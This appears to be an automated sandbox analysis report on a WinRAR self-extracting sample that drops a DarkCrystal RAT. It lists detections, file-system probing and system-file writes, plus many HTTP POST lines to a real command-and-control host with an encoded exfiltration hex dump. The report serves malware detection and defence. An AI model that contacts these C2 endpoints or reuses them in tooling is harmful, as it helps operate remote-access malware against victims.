Source: C:\Users\user\Desktop\BKssDYZe.log	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\MisrAuuZ.log	Joe Sandbox ML: detected
Source: C:\comReviewintocommon\driverSavesNet.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: fluent.exe

Joe Sandbox ML: detected

Source: fluent.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: fluent.exe, fluent.exe, 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2965658866.000000001C40A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\jzqywwbr\jzqywwbr.pdb source: driverSavesNet.exe, 00000005.00000002.1913167210.000000000382D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb23.6.20320.6 2023-10-04 13-01-22-078.logt source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2965658866.000000001C40A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 3E1F1BD.logEntkrnlmp.pdb source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2965658866.000000001C40A000.00000004.00000020.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

System file written: C:\Windows\System32\SecurityHealthSystray.exe

Jump to behavior

Source: C:\Users\user\Desktop\fluent.exe

Code function: 0_2_006EA69B FindFirstFileW,FindFirstFileW,

0_2_006EA69B

Source: C:\comReviewintocommon\driverSavesNet.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49736 -> 80.211.144.156:80

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost

Source: Joe Sandbox View

IP Address: 80.211.144.156 80.211.144.156

Source: Joe Sandbox View

ASN Name: ARUBA-ASNIT ARUBA-ASNIT

Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 384Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 1852Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2036Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2036Expect: 100-continueConnection: Keep-AliveData Raw: 5f 53 59 55 54 47 51 5a 5b 5f 5a 51 59 5e 58 56 57 5f 5d 58 57 51 53 5a 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b 54 57 52 59 5f 5a 53 54 50 50 5e 5c 51 51 5b 51 5b 53 50 5c 5e 52 54 53 44 58 5f 54 59 59 5f 5a 5d 50 58 56 5d 51 5a 5d 5a 5c 5b 54 46 50 5c 53 5a 56 5d 59 51 59 5b 58 5a 56 5f 48 59 5a 56 5e 5b 5e 54 5e 56 5d 59 5e 42 5f 51 5d 5b 57 42 53 58 5b 5d 5f 58 52 5a 59 52 5f 5b 5e 59 52 43 5a 5c 5a 5f 57 5e 5e 0c 1c 2e 59 38 55 3b 42 23 3d 3f 04 20 23 39 59 2a 3d 2b 00 3e 2e 2e 04 3f 3d 06 00 23 12 0e 09 23 32 23 0e 28 00 24 00 22 23 25 14 2f 3e 26 46 03 15 24 1b 2e 01 1e 59 2f 0c 0f 15 24 0c 2f 5b 27 15 23 59 2b 0e 05 07 23 20 21 0c 3d 35 25 05 25 2b 38 18 30 30 31 0d 3e 04 27 10 3d 13 0b 59 24 16 2d 5c 26 00 24 57 33 2b 3d 5d 3c 2d 2a 52 26 2c 38 02 2d 1d 2b 13 24 00 00 05 22 2d 2a 5c 26 3c 3c 10 2b 28 01 06 20 01 25 04 28 29 35 19 2b 2f 24 5b 3c 17 3f 5b 28 39 36 56 2c 01 21 18 2e 0e 08 54 37 39 0a 0d 26 3c 27 0b 2b 03 2d 1e 28 3e 15 5e 22 3b 3c 02 33 04 26 13 25 32 03 0e 20 03 58 51 24 25 3a 0c 24 31 2a 0d 25 02 22 11 26 2c 3d 1f 36 26 3c 0e 2b 2e 25 19 2a 11 02 59 30 29 20 1f 3d 2d 2a 0a 28 00 27 5e 25 39 3d 0f 27 3a 2d 5d 08 13 23 12 39 02 1f 5c 25 0f 06 1f 27 0f 2e 58 2f 1e 23 46 25 03 1d 00 22 20 3e 02 3e 2d 27 01 3c 2e 3d 17 3c 3e 34 03 37 05 2f 18 37 1f 02 57 2b 17 33 5c 23 0e 3d 5f 3b 29 36 45 3c 2b 24 5d 2a 2c 3c 05 28 1c 2d 15 27 0c 0d 06 25 2f 23 5a 2f 30 30 12 23 20 08 0f 28 18 2e 5a 32 3b 2b 09 27 1d 0c 57 29 13 3b 5b 3e 3e 25 59 24 16 26 05 26 3d 2f 09 30 5d 3d 5d 3f 58 35 0b 24 2c 3b 5d 2c 23 05 5e 33 2e 22 59 23 14 22 11 26 12 34 11 2d 05 11 06 20 3c 2a 5b 2b 04 03 54 38 01 06 03 3e 3a 20 04 3c 04 22 1e 3b 38 07 5d 39 0e 0f 08 20 00 30 0f 25 3c 3f 0d 2b 2e 3d 57 3d 3d 3c 04 21 2b 3b 5b 33 3d 2e 56 26 21 2e 0e 25 2e 20 5d 25 32 29 1c 25 31 2d 0c 24 06 2d 33 25 58 22 15 39 41 0e 25 00 02 04 28 33 05 09 07 3d 28 38 1f 3e 07 04 22 26 2c 02 37 0e 25 25 06 3e 2f 2e 5d 3e 3f 24 0a 12 3e 1f 1f 3b 31 2b 2b 3c 55 0c 5e 32 30 05 44 0d 3c 09 28 3e 0f 22 02 06 04 1d 5f 2b 2f 0f 5a 3c 58 24 30 0c 2c 24 03 38 1f 3f 55 3c 3b 11 58 09 33 3e 59 30 3a 56 11 04 3a 1d 18 33 07 20 1c 07 33 5d 1d 39 35 5f 25 08 34 0e 1f 37 30 27 20 22 33 21 2f 32 1f 3d 22 3a 3a 5c 1b 33 31 0f 30 00 3e 3c 23 30 3e 04 21 38 5d 1c 19 3f 07 19 32 0a 2a 08 19 04 58 0f 32 0e 3e 06 13 30 30 16 24 0d 07 22 15 0a 26 21 08 3c 2d 54 07 31 38 2f 5a 22 3f 25 1c 33 39 00 2d 23 2e 3c 13 25 03 1e 2f 06 2b 0b 17 03 5e 00 3e 05 31 0f 1e 3e 3a 1a 27 09 2f 20 1d 32 03 26 0e 2a 5a 02 1f 35 5f 06 29 3b 2e
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 175140Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2024Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2036Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2036Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2036Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 373292cm.nyashka.topContent-Length: 2576Expect: 100-continueConnection: Keep-Alive
